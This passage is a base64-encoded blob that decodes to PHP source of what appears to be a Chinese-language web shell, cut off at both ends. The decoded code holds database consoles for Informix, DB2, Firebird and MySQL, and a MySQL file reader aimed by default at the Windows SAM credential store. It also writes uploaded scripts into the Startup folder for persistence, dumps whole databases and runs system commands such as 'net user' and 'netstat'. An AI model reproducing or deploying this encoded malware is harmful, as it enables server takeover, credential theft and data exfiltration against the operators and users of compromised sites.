QoJGlmY2RibmFtZSwgJGlmeHVzZXIsICRpZnhwYXNzKSBvciBkaWUoaWZ4X2Vycm9ybXNnKCkpOw0KCQkJCQkkaWZ4cmVzdWx0ID0gaWZ4X3F1ZXJ5KCRpZnhxdWVyeSwkaWZ4bGluaykgb3IgZGllIChpZnhfZXJyb3Jtc2coKSk7DQoJCQkJCSRpZnhyb3c9aWZ4X2ZldGNoX3JvdygkaWZ4cmVzdWx0KTsNCgkJCQkJZWNobyAnPGZvbnQgZmFjZT0idmVyZGFuYSI+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEiIGNlbGxzcGFjaW5nPSIyIj4nLiJcbjx0cj5cbiI7DQoJCQkJCWZvcigkaT0wOyAkaTxpZnhfbnVtX2ZpZWxkcygkaWZ4cmVzdWx0KTsgJGkrKykNCgkJCQkJe2VjaG8gJzx0ZD48Yj4nLmlmeF9maWVsZHByb3BlcnRpZXMoJGlmeHJlc3VsdCkuIjwvYj48L3RkPlxuIjt9DQoJCQkJCWVjaG8gIjwvdHI+XG4iOw0KCQkJCQlteXNxbF9kYXRhX3NlZWsoJGlmeHJlc3VsdCwgMCk7DQoJCQkJCXdoaWxlICgkaWZ4cm93PWlmeF9mZXRjaF9yb3coJGlmeHJlc3VsdCkpDQoJCQkJCXsNCgkJCQkJCWVjaG8gIjx0cj5cbiI7DQoJCQkJCQlmb3IgKCRpPTA7ICRpPGlmeF9udW1fZmllbGRzKCRpZnhyZXN1bHQpOyAkaSsrICkNCgkJCQkJCXtlY2hvICc8dGQ+Jy4iJGlmeHJvd1skaV0iLic8L3RkPic7fQ0KCQkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCX0NCgkJCQkJZWNobyAiPC90YWJsZT48L2ZvbnQ+IjsNCgkJCQkJaWZ4X2ZyZWVfcmVzdWx0KCRpZnhyZXN1bHQpOw0KCQkJCQlpZnhfY2xvc2UoKTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlaWYgKCRkYj09ImRiMiIpew0KCQkJCSRkYjJob3N0ID0gaXNzZXQoJF9QT1NUWydkYjJob3N0J10pID8gJF9QT1NUWydkYjJob3N0J10gOiAnbG9jYWxob3N0JzsNCgkJCQkkZGIycG9ydCA9IGlzc2V0KCRfUE9TVFsnZGIycG9ydCddKSA/ICRfUE9TVFsnZGIycG9ydCddIDogJzUwMDAwJzsNCgkJCQkkZGIydXNlciA9IGlzc2V0KCRfUE9TVFsnZGIydXNlciddKSA/ICRfUE9TVFsnZGIydXNlciddIDogJ3Jvb3QnOw0KCQkJCSRkYjJwYXNzID0gaXNzZXQoJF9QT1NUWydkYjJwYXNzJ10pID8gJF9QT1NUWydkYjJwYXNzJ10gOiAnMTIzNDU2JzsNCgkJCQkkZGIyZGJuYW1lID0gaXNzZXQoJF9QT1NUWydkYjJkYm5hbWUnXSkgPyAkX1BPU1RbJ2RiMmRibmFtZSddIDogJ215c3FsJzsNCgkJCQkkZGIyYWN0aW9uID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogJyc7DQoJCQkJJGRiMnF1ZXJ5ID0gaXNzZXQoJF9QT1NUWydkYjJzcWwnXSkgPyAkX1BPU1RbJ2RiMnNxbCddIDogJyc7DQoJCQkJJGRiMnF1ZXJ5ID0gc3RyaXBzbGFzaGVzKCRkYjJxdWVyeSk7DQoJCQkJcHJpbnQ8PDxFTkQNCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iZGIyZm9ybSIgYWN0aW9uPSI/cz1nZyZkYj1kYjIiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj5Ib3N0OjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYjJob3N0IiB2YWx1ZT0ieyRkYjJob3N0fSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClBvcnQ6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiMnBvcnQiIHZhbHVlPSJ7JGRiMnBvcnR9IiBzdHlsZT0id2lkdGg6NjBweCI+DQpVc2VyOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYjJ1c2VyIiB2YWx1ZT0ieyRkYjJ1c2VyfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClBhc3M6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiMnBhc3MiIHZhbHVlPSJ7JGRiMnBhc3N9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0KRGJuYW1lOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYjJkYm5hbWUiIHZhbHVlPSJ7JGRiMmRibmFtZX0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+PGJyPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBkYjJGdWxsKGkpew0KU3RyID0gbmV3IEFycmF5KDQpOw0KCVN0clswXSA9ICIiOw0KCVN0clsxXSA9ICJzZWxlY3Qgc2NoZW1hbmFtZSBmcm9tIHN5c2NhdC5zY2hlbWF0YTsiOw0KCVN0clsyXSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c2libS5zeXN0YWJsZXM7IjsNCglTdHJbM10gPSAic2VsZWN0IGNvbG5hbWUgZnJvbSBzeXNjYXQuY29sdW1ucyB3aGVyZSB0YWJuYW1lPSd0YWJsZV9uYW1lJzsiOw0KCVN0cls0XSA9ICJkYjIgZ2V0IGRiIGNmZyBmb3IgZGJfbmFtZTsiOw0KZGIyZm9ybS5kYjJzcWwudmFsdWUgPSBTdHJbaV07DQpyZXR1cm4gdHJ1ZTsNCn0NCjwvc2NyaXB0Pg0KPHRleHRhcmVhIG5hbWU9ImRiMnNxbCIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDoyMDBweDsiPnskZGIycXVlcnl9PC90ZXh0YXJlYT48YnI+DQo8c2VsZWN0IG9uY2hhbmdlPSJyZXR1cm4gZGIyRnVsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSI+DQoJPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+1rTQ0MP8we48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIxIj7K/b7dv+I8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIxIj6x7bbOPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMiI+19a2zjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjMiPsr9vt2/4sXk1sM8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZGIycXVlcnkiPg0KPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiPjwvZGl2PjwvZm9ybT4NCkVORDsNCgkJCQlpZiAoJG15YWN0aW9uID09ICdkYjJxdWVyeScpew0KCQkJCQkkZGIybGluayA9IGRiMl9jb25uZWN0KCRkYjJkYm5hbWUsICRkYjJ1c2VyLCAkZGIycGFzcykgb3IgZGllKGRiMl9jb25uX2Vycm9ybXNnKCkpOw0KCQkJCQkkZGIycmVzdWx0ID0gZGIyX2V4ZWMoJGRiMmxpbmssJGRiMnF1ZXJ5KSBvciBkaWUoZGIyX3N0bXRfZXJyb3Jtc2coKSk7DQoJCQkJCSRkYjJyb3c9ZGIyX2ZldGNoX3JvdygkZGIycmVzdWx0KTsNCgkJCQkJZWNobyAnPGZvbnQgZmFjZT0idmVyZGFuYSI+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEiIGNlbGxzcGFjaW5nPSIyIj4nLiJcbjx0cj5cbiI7DQoJCQkJCWZvciAoJGk9MDsgJGk8ZGIyX251bV9maWVsZHMoJGRiMnJlc3VsdCk7ICRpKyspDQoJCQkJCXtlY2hvICc8dGQ+PGI+Jy5kYjJfZmllbGRfbmFtZSgkZGIycmVzdWx0KS4iPC9iPjwvdGQ+XG4iO30NCgkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCXdoaWxlICgkZGIycm93PWRiMl9mZXRjaF9yb3coJGRiMnJlc3VsdCkpDQoJCQkJCXsNCgkJCQkJCWVjaG8gIjx0cj5cbiI7DQoJCQkJCQlmb3IgKCRpPTA7ICRpPGRiMl9udW1fZmllbGRzKCRkYjJyZXN1bHQpOyAkaSsrICkNCgkJCQkJCXtlY2hvICc8dGQ+Jy4iJGRiMnJvd1skaV0iLic8L3RkPic7fQ0KCQkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCX0NCgkJCQkJZWNobyAiPC90YWJsZT48L2ZvbnQ+IjsNCgkJCQkJZGIyX2ZyZWVfcmVzdWx0KCRkYjJyZXN1bHQpOw0KCQkJCQlkYjJfY2xvc2UoKTsNCgkJCQl9DQoJCQl9DQoJCQllbHNlaWYoJGRiID09ICJmYiIpIHsNCgkJCQkkZmJob3N0ID0gaXNzZXQoJF9QT1NUWydmYmhvc3QnXSkgPyAkX1BPU1RbJ2ZiaG9zdCddIDogJ2xvY2FsaG9zdCc7DQoJCQkJJGZicGF0aCA9IGlzc2V0KCRfUE9TVFsnZmJwYXRoJ10pID8gJF9QT1NUWydmYnBhdGgnXSA6ICcnOw0KCQkJCSRmYnBhdGggPSBzdHJfcmVwbGFjZSgiXFxcXCIsICJcXCIsICRmYnBhdGgpOw0KCQkJCSRmYnVzZXIgPSBpc3NldCgkX1BPU1RbJ2ZidXNlciddKSA/ICRfUE9TVFsnZmJ1c2VyJ10gOiAnc3lzZGJhJzsNCgkJCQkkZmJwYXNzID0gaXNzZXQoJF9QT1NUWydmYnBhc3MnXSkgPyAkX1BPU1RbJ2ZicGFzcyddIDogJ21hc3RlcmtleSc7DQoJCQkJJGZiYWN0aW9uID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogJyc7DQoJCQkJJGZicXVlcnkgPSBpc3NldCgkX1BPU1RbJ2Zic3FsJ10pID8gJF9QT1NUWydmYnNxbCddIDogJyc7DQoJCQkJJGZicXVlcnkgPSBzdHJpcHNsYXNoZXMoJGZicXVlcnkpOw0KCQkJCXByaW50PDw8RU5EDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9ImZiZm9ybSIgYWN0aW9uPSI/cz1nZyZkYj1mYiI+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPkhvc3Q6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZiaG9zdCIgdmFsdWU9InskZmJob3N0fSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClBhdGg6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZicGF0aCIgdmFsdWU9InskZmJwYXRofSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClVzZXI6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZidXNlciIgdmFsdWU9InskZmJ1c2VyfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClBhc3M6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZicGFzcyIgdmFsdWU9InskZmJwYXNzfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij48YnIvPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBmYkZ1bGwoaSl7DQpTdHIgPSBuZXcgQXJyYXkoNSk7DQoJU3RyWzBdID0gIiI7DQoJU3RyWzFdID0gInNlbGVjdCBSREJcJFJFTEFUSU9OX05BTUUgZnJvbSBSREJcJFJFTEFUSU9OUzsiOw0KCVN0clsyXSA9ICJzZWxlY3QgUkRCXCRGSUVMRF9OQU1FIGZyb20gUkRCXCRSRUxBVElPTl9GSUVMRFMgd2hlcmUgUkRCXCRSRUxBVElPTl9OQU1FPSd0YWJsZV9uYW1lJzsiOw0KCVN0clszXSA9ICJpbnB1dCAnRDpcXGNyZWF0ZXRhYmxlLnNxbCc7IjsNCglTdHJbNF0gPSAic2hlbGwgbmV0c3RhdCAtYW47IjsNCmZiZm9ybS5mYnNxbC52YWx1ZSA9IFN0cltpXTsNCnJldHVybiB0cnVlOw0KfQ0KPC9zY3JpcHQ+DQo8dGV4dGFyZWEgbmFtZT0iZmJzcWwiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6MjAwcHg7Ij57JGZicXVlcnl9PC90ZXh0YXJlYT48YnI+DQo8c2VsZWN0IG9uY2hhbmdlPSJyZXR1cm4gZmJGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4NCgk8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD7WtNDQw/zB7jwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjEiPrHtts48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIyIj7X1rbOPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMyI+zO2803NxbDwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjQiPnNoZWxsPC9vcHRpb24+DQo8L3NlbGVjdD4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImZicXVlcnkiPg0KPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiPjwvZGl2PjwvZm9ybT4NCkVORDsNCgkJCQlpZigkZmJhY3Rpb24gPT0gJ2ZicXVlcnknKXsNCgkJCQkJJGZibGluayA9IGliYXNlX2Nvbm5lY3QoJGZiaG9zdC4nOicuJGZicGF0aCwkZmJ1c2VyLCRmYnBhc3MpIG9yIGRpZShpYmFzZV9lcnJtc2coKSk7DQoJCQkJCSRmYnJlc3VsdCA9IGliYXNlX3F1ZXJ5KCRmYmxpbmssJGZicXVlcnkpIG9yIGRpZShpYmFzZV9lcnJtc2coKSk7DQoJCQkJCWVjaG8gJzxmb250IGZhY2U9InZlcmRhbmEiPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMiI+Jy4iXG48dHI+XG4iOw0KCQkJCQlmb3IgKCRpPTA7ICRpPGliYXNlX251bV9maWVsZHMoJGZicmVzdWx0KTsgJGkrKykNCgkJCQkJe2VjaG8gJzx0ZD48Yj4nLmliYXNlX2ZpZWxkX2luZm8oJGZicmVzdWx0LCAkaSkuIjwvYj48L3RkPlxuIjt9DQoJCQkJCWVjaG8gIjwvdHI+XG4iOw0KCQkJCQlpYmFzZV9maWVsZF9pbmZvKCRmYnJlc3VsdCwgMCk7DQoJCQkJCXdoaWxlICgkZmJyb3c9aWJhc2VfZmV0Y2hfcm93KCRmYnJlc3VsdCkpDQoJCQkJCXsNCgkJCQkJCWVjaG8gIjx0cj5cbiI7DQoJCQkJCQlmb3IgKCRpPTA7ICRpPGliYXNlX251bV9maWVsZHMoJGZicmVzdWx0KTsgJGkrKyApDQoJCQkJCQl7ZWNobyAnPHRkPicuIiRmYnJvd1skaV0iLic8L3RkPic7fQ0KCQkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCX0NCgkJCQkJZWNobyAiPC90YWJsZT48L2ZvbnQ+IjsNCgkJCQkJaWJhc2VfZnJlZV9yZXN1bHQoJGZicmVzdWx0KTsNCgkJCQkJaWJhc2VfY2xvc2UoKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJLy9NeVNxbNa00NANCgkJZnVuY3Rpb24gTXlzcWxfbigpDQoJCXsNCgkJCSRNU0dfQk9YID0gJyc7DQoJCQkkbWhvc3QgPSAnbG9jYWxob3N0JzsgJG11c2VyID0gJ3Jvb3QnOyAkbXBvcnQgPSAnMzMwNic7ICRtcGFzcyA9ICcnOyAkbWRhdGEgPSAnbXlzcWwnOyAkbXNxbCA9ICdzZWxlY3QgdmVyc2lvbigpOyc7DQoJCQlpZihpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkpDQoJCQl7DQoJCQkJJG1ob3N0ID0gJF9QT1NUWydtaG9zdCddOyAkbXVzZXIgPSAkX1BPU1RbJ211c2VyJ107ICRtcGFzcyA9ICRfUE9TVFsnbXBhc3MnXTsgJG1kYXRhID0gJF9QT1NUWydtZGF0YSddOyAkbXBvcnQgPSAkX1BPU1RbJ21wb3J0J107DQoJCQkJaWYoJGNvbm4gPSBteXNxbF9jb25uZWN0KCRtaG9zdC4nOicuJG1wb3J0LCRtdXNlciwkbXBhc3MpKSBAbXlzcWxfc2VsZWN0X2RiKCRtZGF0YSk7DQoJCQkJZWxzZSAkTVNHX0JPWCA9ICfBrL3TTVlTUUzKp7DcJzsNCgkJCX0NCgkJCSRkb3duZmlsZSA9ICdjOi93aW5kb3dzL3JlcGFpci9zYW0nOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnZG93bmZpbGUnXSkpDQoJCQl7DQoJCQkJJGRvd25maWxlID0gRmlsZV9TdHIoJF9QT1NUWydkb3duZmlsZSddKTsNCgkJCQkkYmlucGF0aCA9IGJpbjJoZXgoJGRvd25maWxlKTsNCgkJCQkkcXVlcnkgPSAnc2VsZWN0IGxvYWRfZmlsZSgweCcuJGJpbnBhdGguJyknOw0KCQkJCWlmKCRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkNCgkJCQl7DQoJCQkJCSRrID0gMDsgJGRvd25jb2RlID0gJyc7DQoJCQkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRkb3duY29kZSAuPSAkcm93WyRrXTskaysrO30NCgkJCQkJJGZpbGVkb3duID0gYmFzZW5hbWUoJGRvd25maWxlKTsNCgkJCQkJaWYoISRmaWxlZG93bikgJGZpbGVkb3duID0gJ3NpbGljLnRtcCc7DQoJCQkJCSRhcnJheSA9IGV4cGxvZGUoJy4nLCAkZmlsZWRvd24pOw0KCQkJCQkkYXJyYXllbmQgPSBhcnJheV9wb3AoJGFycmF5KTsNCgkJCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kYXJyYXllbmQpOw0KCQkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVkb3duKTsNCgkJCQkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5zdHJsZW4oJGRvd25jb2RlKSk7DQoJCQkJCWVjaG8gJGRvd25jb2RlOw0KCQkJCQlleGl0Ow0KCQkJCX0NCgkJCQllbHNlICRNU0dfQk9YID0gJ8/C1NjOxLz+yqew3Cc7DQoJCQl9DQoJCQkkbyA9IGlzc2V0KCRfR0VUWydvJ10pID8gJF9HRVRbJ28nXSA6ICcnOw0KCQkJUm9vdF9DU1MoKTsNCgkJCXByaW50PDw8RU5EDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im5mb3JtIiBpZD0ibmZvcm0iIGFjdGlvbj0iP3M9biZvPXskb30iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KPGNlbnRlcj48ZGl2IGNsYXNzPSJhY3RhbGwiPjxhIGhyZWY9Ij9zPW4iPltNWVNRTNa00NDT777kXTwvYT4NCjxhIGhyZWY9Ij9zPW4mbz10cSI+W01ZU1FMzOHIqF08L2E+DQo8YSBocmVmPSI/cz1uJm89dGsiPltNWVNRTM3Rv+KxuLfdXTwvYT4NCjxhIGhyZWY9Ij9zPW4mbz11Ij5bTVlTUUzJz7SrzsS8/l08L2E+DQo8YSBocmVmPSI/cz1uJm89ZCI+W01ZU1FMz8LU2M7EvP5dPC9hPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj4NCrXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1ob3N0IiB2YWx1ZT0ieyRtaG9zdH0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQq2y7/aIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcG9ydCIgdmFsdWU9InskbXBvcnR9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0K08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJ7JG11c2VyfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4NCsPcwusgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wYXNzIiB2YWx1ZT0ieyRtcGFzc30iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQq/4sP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZGF0YSIgdmFsdWU9InskbWRhdGF9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MjIwcHg7Ij4NCkVORDsNCgkJCWlmKCRvPT0ndScpDQoJCQl7DQoJCQkJJHVwcGF0aCA9ICdDOi9Eb2N1bWVudHMgYW5kIFNldHRpbmdzL0FsbCBVc2Vycy+huL+qyryhubLLtaUvs8zQ8i/G9LavL2V4cC52YnMnOw0KCQkJCWlmKCFlbXB0eSgkX1BPU1RbJ3VwcGF0aCddKSkNCgkJCQl7DQoJCQkJCSR1cHBhdGggPSAkX1BPU1RbJ3VwcGF0aCddOw0KCQkJCQkkcXVlcnkgPSAnQ3JlYXRlIFRBQkxFIGEgKGNtZCB0ZXh0IE5PVCBOVUxMKTsnOw0KCQkJCQlpZihAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkNCgkJCQkJew0KCQkJCQkJaWYoJHRtcGNvZGUgPSBGaWxlX1JlYWQoJF9GSUxFU1sndXBmaWxlJ11bJ3RtcF9uYW1lJ10pKXskZmlsZWNvZGUgPSBiaW4yaGV4KEZpbGVfUmVhZCgkdG1wY29kZSkpO30NCgkJCQkJCWVsc2V7JHRtcCA9IEZpbGVfU3RyKGRpcm5hbWUoX19GSUxFX18pKS4nL3VwZmlsZS50bXAnO2lmKEZpbGVfVXAoJF9GSUxFU1sndXBmaWxlJ11bJ3RtcF9uYW1lJ10sJHRtcCkpeyRmaWxlY29kZSA9IGJpbjJoZXgoRmlsZV9SZWFkKCR0bXApKTtAdW5saW5rKCR0bXApO319DQoJCQkJCQkkcXVlcnkgPSAnSW5zZXJ0IElOVE8gYSAoY21kKSBWQUxVRVMoQ09OVkVSVCgweCcuJGZpbGVjb2RlLicsQ0hBUikpOyc7DQoJCQkJCQlpZihAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkNCgkJCQkJCXsNCgkJCQkJCQkkcXVlcnkgPSAnU0VMRUNUIGNtZCBGUk9NIGEgSU5UTyBEVU1QRklMRSBcJycuJHVwcGF0aC4nXCc7JzsNCgkJCQkJCQkkTVNHX0JPWCA9IEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pID8gJ8nPtKvOxLz+s8m5picgOiAnyc+0q87EvP7Kp7DcJzsNCgkJCQkJCX0NCgkJCQkJCWVsc2UgJE1TR19CT1ggPSAnsuXI68HZyrGx7cqnsNwnOw0KCQkJCQkJQG15c3FsX3F1ZXJ5KCdEcm9wIFRBQkxFIElGIEVYSVNUUyBhOycsJGNvbm4pOw0KCQkJCQl9DQoJCQkJCWVsc2UgJE1TR19CT1ggPSAntLS9qMHZyrGx7cqnsNwnOw0KCQkJCX0NCgkJCQlwcmludDw8PEVORA0KPGJyPjxicj7Jz7Srwre+tiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXBwYXRoIiB2YWx1ZT0ieyR1cHBhdGh9IiBzdHlsZT0id2lkdGg6NTAwcHgiPg0KPGJyPjxicj7RodTxzsS8/iA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBmaWxlIiBzdHlsZT0id2lkdGg6NTAwcHg7aGVpZ2h0OjIycHg7Ij4NCjwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IsnPtKsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+DQpFTkQ7DQoJCQl9DQoJCQllbHNlaWYoJG89PSdkJykNCgkJCXsNCgkJCQlwcmludDw8PEVORA0KPGJyPjxicj48YnI+z8LU2M7EvP4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRvd25maWxlIiB2YWx1ZT0ieyRkb3duZmlsZX0iIHN0eWxlPSJ3aWR0aDo1MDBweCI+DQo8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLPwtTYIiBzdHlsZT0id2lkdGg6ODBweDsiPg0KRU5EOw0KCQkJfWVsc2VpZigkbz09J3RrJyl7DQoJCQkJaWYoJF9QT1NUWydkdW1wJ109PSdkdW1wJyl7DQoJCQkJCSRteXNxbF9saW5rPUBteXNxbF9jb25uZWN0KCRtaG9zdCwkbXVzZXIsJG1wYXNzKTsNCgkJCQkJbXlzcWxfc2VsZWN0X2RiKCRtZGF0YSk7DQoJCQkJCW15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgZ2JrIik7DQoJCQkJCSRteXNxbD0iIjsNCgkJCQkJJHExPW15c3FsX3F1ZXJ5KCJzaG93IHRhYmxlcyIpOw0KCQkJCQl3aGlsZSgkdD1teXNxbF9mZXRjaF9hcnJheSgkcTEpKXsNCgkJCQkJCSR0YWJsZT0kdFswXTsNCgkJCQkJCSRxMj1teXNxbF9xdWVyeSgic2hvdyBjcmVhdGUgdGFibGUgYCR0YWJsZWAiKTsNCgkJCQkJCSRzcWw9bXlzcWxfZmV0Y2hfYXJyYXkoJHEyKTsNCgkJCQkJCSRteXNxbC49JHNxbFsnQ3JlYXRlIFRhYmxlJ10uIjtcclxuXHJcbiI7DQoJCQkJCQkkcTM9bXlzcWxfcXVlcnkoInNlbGVjdCAqIGZyb20gYCR0YWJsZWAiKTsNCgkJCQkJCXdoaWxlKCRkYXRhPW15c3FsX2ZldGNoX2Fzc29jKCRxMykpDQoJCQkJCQl7DQoJCQkJCQkJJGtleXM9YXJyYXlfa2V5cygkZGF0YSk7DQoJCQkJCQkJJGtleXM9YXJyYXlfbWFwKCdhZGRzbGFzaGVzJywka2V5cyk7DQoJCQkJCQkJJGtleXM9am9pbignYCxgJywka2V5cyk7DQoJCQkJCQkJJGtleXM9ImAiLiRrZXlzLiJgIjsNCgkJCQkJCQkkdmFscz1hcnJheV92YWx1ZXMoJGRhdGEpOw0KCQkJCQkJCSR2YWxzPWFycmF5X21hcCgnYWRkc2xhc2hlcycsJHZhbHMpOw0KCQkJCQkJCSR2YWxzPWpvaW4oIicsJyIsJHZhbHMpOw0KCQkJCQkJCSR2YWxzPSInIi4kdmFscy4iJyI7DQoJCQkJCQkJJG15c3FsLj0iaW5zZXJ0IGludG8gYCR0YWJsZWAoJGtleXMpIHZhbHVlcygkdmFscyk7XHJcbiI7DQoJCQkJCQl9DQoJCQkJCQkkbXlzcWwuPSJcclxuIjsNCgkJCQkJfQ0KCQkJCQkkZmlsZW5hbWU9ZGF0ZSgiWS1tLWQtR2lzQSIpLiIuc3FsIjsNCgkJCQkJJGZwPWZvcGVuKCRmaWxlbmFtZSwndycpOw0KCQkJCQlmcHV0cygkZnAsJG15c3FsKTsNCgkJCQkJZmNsb3NlKCRmcCk7DQoJCQkJCSR0aXA9Ijxicj48Y2VudGVyPsr9vt2xuLfds8m5pqOsteO798/C1NjK/b7dv+LOxLz+o7pbPGEgaHJlZj1cIiIuJGZpbGVuYW1lLiJcIiB0aXRsZT1cIrXju/fPwtTYXCI+Ii4kZmlsZW5hbWUuIjwvYT5dPC9jZW50ZXI+IjsNCgkJCQl9ZWxzZXskdGlwPSLJ0M60sbi33aOssaPWpLG+s8zQ8sv51NrEv8K8v8nQtCI7fQ0KCQkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/cz1uJm89dGsiPjxicj4NCsfryffTw7G+uabE3KOsyv2+3b/iuf20872r1Oyzybf+zvHG9+W0u/q1yMfpv/YgOi0oPGJyPjxicj4NCnskdGlwfTxicj48YnI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iZHVtcCIgbmFtZT0iZHVtcCIgaWQ9ImR1bXAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ItK7vPyxuLfdIiB0aWx0ZT0iU3VibWl0IiBzdHlsZT0id2lkdGg6MTIwcHg7aGVpZ2h0OjY0cHg7Ij4NCjwvZm9ybT48ZGl2Pg0KRU5EOw0KCQkJCX1lbHNlaWYoJG89PSd0cScpDQoJCQkJew0KCQkJCQlleHRyYWN0KCRfUE9TVCk7DQoJCQkJCWV4dHJhY3QoJF9HRVQpOw0KCQkJCQkkcG9zdF9zcWwgPSAkcG9zdF9zcWwgPyAkcG9zdF9zcWwgOiAic2VsZWN0IHN0YXRlKFwibmV0IHVzZXJcIikiOw0KCQkJCQlpZigkaW5zdGFsbCl7DQoJCQkJCQkkbGluayA9IG15c3FsX2Nvbm5lY3QgKCRtaG9zdCwkbXVzZXIsJG1wYXNzKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJCQkJCQlteXNxbF9zZWxlY3RfZGIoJG1kYXRhLCRsaW5rKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJCQkJCQlAbXlzcWx